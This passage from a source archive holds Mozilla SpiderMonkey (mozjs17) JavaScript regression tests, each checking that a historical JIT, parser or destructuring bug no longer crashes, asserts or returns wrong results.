actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-465460-09.js0000664000175000017500000000162412106270663022553 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465460; var summary = 'TM: valueOf in a loop: do not assert'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); for (let i in (function() { for (var j = 0; j < 3; ++j) yield; })()) { } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-464978.js0000664000175000017500000000155412106270663022344 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 464978; var summary = 'Do not hang with [] + null'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); for (let j = 0; j < 2; ++j) { [] + null; } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-464096.js0000664000175000017500000000200212106270663022320 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 464096; var summary = 'TM: Do not assert: tm->recoveryDoublePoolPtr > tm->recoveryDoublePool'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); for (let f in [1,1]); Object.prototype.__defineGetter__('x', function() gc()); (function() { for each (let j in [1,1,1,1,1]) { var y = .2; } })(); jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-452491.js0000664000175000017500000000160312106270663022322 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 452491; var summary = 'Do not crash with JIT: with new'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); for (var j=0;j<5;++j) (new (function(q) q)).a; jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-465460-11.js0000664000175000017500000000162112106270663022541 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465460; var summary = 'TM: valueOf in a loop: do not assert'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); for (let d=0;d<2;++d) for (let a=0;a<1;++a) "" + (d && function(){}); jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-461932.js0000664000175000017500000000165112106270663022325 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 461932; var summary = 'TM: Do not crash in nanojit::LIns::isop'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); function gen() { for (var j = 0; j < 4; ++j) { NaN; yield 3; } } for (let i in gen()) { } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-465688.js0000664000175000017500000000161212106270663022336 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465688; var summary = 'Do not assert: (m != JSVAL_INT) || isInt32(*vp),'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); for each (let d in [-0x80000000, -0x80000000]) - -d; jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-366941.js0000664000175000017500000000317112106270663022330 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: Robert Sayre */ //----------------------------------------------------------------------------- var BUGNUMBER = 366941; var summary = 'Destructuring enumerations, iterations'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var list1 = [[1,2],[3,4],[5,6]]; var list2 = [[1,2,3],[4,5,6],[7,8,9]]; expect = '1,2;3,4;5,6;'; actual = ''; for each (var [foo, bar] in list1) { actual += foo + "," + bar + ";"; } reportCompare(expect, actual, summary + ': 1'); expect = '1,2,3;4,5,6;7,8,9;'; actual = ''; for each (var [foo, bar, baz] in list2) { actual += foo + "," + bar + "," + baz + ";"; } reportCompare(expect, actual, summary + ': 2'); function gen(list) { for each (var test in list) { yield test; } } var iter1 = gen(list1); expect = '1,2;3,4;5,6;'; actual = ''; for (var [foo, bar] in iter1) { actual += foo + "," + bar + ";"; } reportCompare(expect, actual, summary + ': 3'); var iter2 = gen(list2); expect = '1,2,3;4,5,6;7,8,9;'; actual = ''; for (var [foo, bar, baz] in iter2) { actual += foo + "," + bar + "," + baz + ";"; } reportCompare(expect, actual, summary + ': 4'); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-532491.js0000664000175000017500000000175112106270663022325 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 466128; var summary = 'Assertion failure: staticLevel == script->staticLevel, at ../jsobj.cpp'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(false); function f(foo) { if (a % 2 == 1) { try { eval(foo); } catch(e) {} } } a = 1; f("eval(\"x\")"); f("x"); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-455981-01.js0000664000175000017500000000177212106270663022556 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 455981; var summary = 'Do not assert: entry->localKind == JSLOCAL_ARG'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = 'SyntaxError: duplicate argument names not allowed in this context'; try { eval('(function ({a, b, c, d, e, f, g, h, q}, q) { })'); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-457065-01.js0000664000175000017500000000172612106270663022550 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 457065; var summary = 'Do not assert: !fp->callee || fp->thisp == JSVAL_TO_OBJECT(fp->argv[-1])'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); var e = eval; for (var a in this) { } (function() { eval("this; for (let b in [0,1,2]) { }"); })(); jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-474771.js0000664000175000017500000000204412106270663022327 0ustar sstanglsstangl// |reftest| skip-if(Android) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 474771; var summary = 'gczeal, prototype mangling, for..in'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = 'PASS'; if (typeof gczeal == 'function') { gczeal(2); } Object.prototype.q = 3; for each (let x in [6, 7]) { } print(actual = "PASS"); if (typeof gczeal == 'function') { gczeal(0); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/shell.js0000664000175000017500000000000012106270663021177 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_8/regress/regress-404734.js0000664000175000017500000000160212106270663022316 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 404734; var summary = 'Object destructuring shorthand'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var o = {p: 42, q: true}; var {p, q} = o; expect = '42,true'; actual = p + ',' + q; reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-442333-01.js0000664000175000017500000000171512106270663022536 0ustar sstanglsstangl// |reftest| skip /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 442333; var summary = 'Remove eval\'s optional second argument'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = 'ReferenceError: a is not defined'; var o = {a : 1}; try { eval('a', o); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-466787.js0000664000175000017500000000174312106270663022344 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 466787; var summary = 'TM: new Number() should stay a number during recording'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = '4444'; jit(true); for (let j = 0; j < 4; ++j) { for each (let one in [new Number(1)]) { print(actual += '' + (3 + one)); } } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-465220.js0000664000175000017500000000220312106270663022311 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465220; var summary = 'Do not assert: anti-nesting'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = 'TypeError: can\'t convert o to primitive type'; jit(true); try { var o = {toString: function()(i > 2) ? this : "foo"}; var s = ""; for (var i = 0; i < 5; i++) s += o + o; print(s); actual = 'No Exception'; } catch(ex) { actual = 'TypeError: can\'t convert o to primitive type'; } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-467495-04.js0000664000175000017500000000167712106270663022570 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 467495; var summary = 'TCF_FUN_CLOSURE_VS_VAR is necessary'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); function g() { if (1) function x() {}; var x; const y = 1; } try { g(); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-472528-01.js0000664000175000017500000000175612106270663022554 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 472528; var summary = 'Do not assert: !js_IsActiveWithOrBlock(cx, fp->scopeChain, 0)'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); try { for (var i = 0; i < 4; ++i) { for (let j = 0; j < 2; ++j) { } let (x) (function(){}); } } catch(ex) { } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-465483.js0000664000175000017500000000172012106270663022327 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465483; var summary = 'Type instability leads to undefined being added as a string instead of as a number'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = 'NaN'; jit(true); for each (i in [4, 'a', 'b', (void 0)]) print(actual = '' + (i + i)); jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-465460-05.js0000664000175000017500000000156412106270663022552 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465460; var summary = 'TM: valueOf in a loop: do not assert'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); for (var j = 0; j < 3; ++j) { 1 & Date; } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-479740.js0000664000175000017500000000171512106270663022334 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 479740; var summary = 'TM: Do not crash @ TraceRecorder::test_property_cache'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); jit(true); try { eval( ' function f() {' + ' for ( foobar in (function() {' + ' for (var x = 0; x < 2; ++x) {' + ' if (x % 2 == 1) { yield (this.z.z) = function(){} }' + ' eval("this", false);' + ' }' + ' })());' + ' function(){}' + ' }' + ' f();' ); } catch(ex) { } jit(false); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/regress/regress-467495-01.js0000664000175000017500000000154312106270663022555 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 467495; var summary = 'Do not crash @ js_Interpret'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); (function() { x = 0; function x() 4; var x; const y = 1; })(); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-464418.js0000664000175000017500000000234712106270663022332 0ustar sstanglsstangl// |reftest| skip-if(Android) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 464418; var summary = 'Do not assert: fp->slots + fp->script->nfixed + ' + 'js_ReconstructStackDepth(cx, fp->script, fp->regs->pc) == fp->regs->sp'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); if (typeof gczeal == 'function') { gczeal(2); } for (let q = 0; q < 50; ++q) { new Function("for (var i = 0; i < 5; ++i) { } ")(); var w = "r".match(/r/); new Function("for (var j = 0; j < 1; ++j) { } ")(); } jit(false); if (typeof gczeal == 'function') { gczeal(0); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-499524.js0000664000175000017500000000364512106270663022342 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ */ function isSyntaxError(code) { try { eval(code); return false; } catch (exception) { if (SyntaxError.prototype.isPrototypeOf(exception)) return true; throw exception; }; }; /* * Duplicate parameter names must be tolerated (as per ES3), unless * the parameter list uses destructuring, in which case we claim the * user has opted in to a modicum of sanity, and we forbid duplicate * parameter names. */ assertEq(isSyntaxError("function f(x,x){}"), false); assertEq(isSyntaxError("function f(x,[x]){})"), true); assertEq(isSyntaxError("function f(x,{y:x}){})"), true); assertEq(isSyntaxError("function f(x,{x}){})"), true); assertEq(isSyntaxError("function f([x],x){})"), true); assertEq(isSyntaxError("function f({y:x},x){})"), true); assertEq(isSyntaxError("function f({x},x){})"), true); assertEq(isSyntaxError("function f([x,x]){}"), true); assertEq(isSyntaxError("function f({x,x}){}"), true); assertEq(isSyntaxError("function f({y:x,z:x}){}"), true); assertEq(isSyntaxError("function f(x,x,[y]){}"), true); assertEq(isSyntaxError("function f(x,x,{y}){}"), true); assertEq(isSyntaxError("function f([y],x,x){}"), true); assertEq(isSyntaxError("function f({y},x,x){}"), true); assertEq(isSyntaxError("function f(a,b,c,d,e,f,g,h,b,[y]){}"), true); assertEq(isSyntaxError("function f([y],a,b,c,d,e,f,g,h,a){}"), true); assertEq(isSyntaxError("function f([a],b,c,d,e,f,g,h,i,a){}"), true); assertEq(isSyntaxError("function f(a,b,c,d,e,f,g,h,i,[a]){}"), true); assertEq(isSyntaxError("function f(a,b,c,d,e,f,g,h,i,[a]){}"), true); reportCompare(true, true); mozjs17.0.0/js/src/tests/js1_8/regress/regress-469625-02.js0000664000175000017500000000152112106270663022547 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: Jason Orendorff */ //----------------------------------------------------------------------------- var BUGNUMBER = 469625; var summary = 'group assignment with rhs containing holes'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = 'y'; Array.prototype[1] = 'y'; var [x, y, z] = ['x', , 'z']; actual = y; reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-453492.js0000664000175000017500000000156212106270663022330 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 453492; var summary = 'Do not assert: op == JSOP_ENUMELEM || op == JSOP_ENUMCONSTELEM'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); print(function() { [(let(a)1)[2]] = 3; }); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-465308.js0000664000175000017500000000174712106270663022334 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465308; var summary = '((0x60000009) * 0x60000009))'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = '-1073741824,-1073741824,-1073741824,-1073741824,-1073741824,'; jit(true); for (let j=0;j<5;++j) print(actual += "" + (0 | ((0x60000009) * 0x60000009)) + ','); jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-472703.js0000664000175000017500000000200212106270663022312 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 472703; var summary = 'Do not assert: regs.sp[-1] == OBJECT_TO_JSVAL(fp->scopeChain)'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); try { eval( 'for (var z = 0; z < 2; ++z) { with({}) for(let y in [1, null]); let(x)' + '(function(){})(); }' ); } catch(ex) { } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-433279-02.js0000664000175000017500000000161412106270663022546 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 433279; var summary = 'Do not assert: pn != tc->parseContext->nodeList'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); try { eval('var {a} = b; c(d + 1);'); } catch(ex) { } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-469625-03.js0000664000175000017500000000166112106270663022555 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: Jason Orendorff */ //----------------------------------------------------------------------------- var BUGNUMBER = 469625; var summary = 'Do not assert: script->objectsOffset != 0'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); function f(x) { var [a, b, [c0, c1]] = [x, x, x]; } expect = 'TypeError: x is null'; actual = 'No Error'; try { f(null); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-468711.js0000664000175000017500000000161112106270663022323 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 468711; var summary = 'TM: Do not assert: !JS_ON_TRACE(cx)'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); (5).toString(); for each (let b in [3, this]) { b.toString(); } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-472450-02.js0000664000175000017500000000206212106270663022536 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 472450; var summary = 'TM: Do not assert: StackBase(fp) + blockDepth == regs.sp'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); for each (let x in [function(){}, {}, {}, function(){}, function(){}]) { ([ for (y in x)]); } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-384758.js0000664000175000017500000000176512106270663022345 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 384758; var summary = 'Statement can not follow expression closure with out intervening ;'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = 'SyntaxError: missing ; before statement'; try { eval('(function() { if(t) function x() foo() bar(); })'); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-477581.js0000664000175000017500000000167712106270663022344 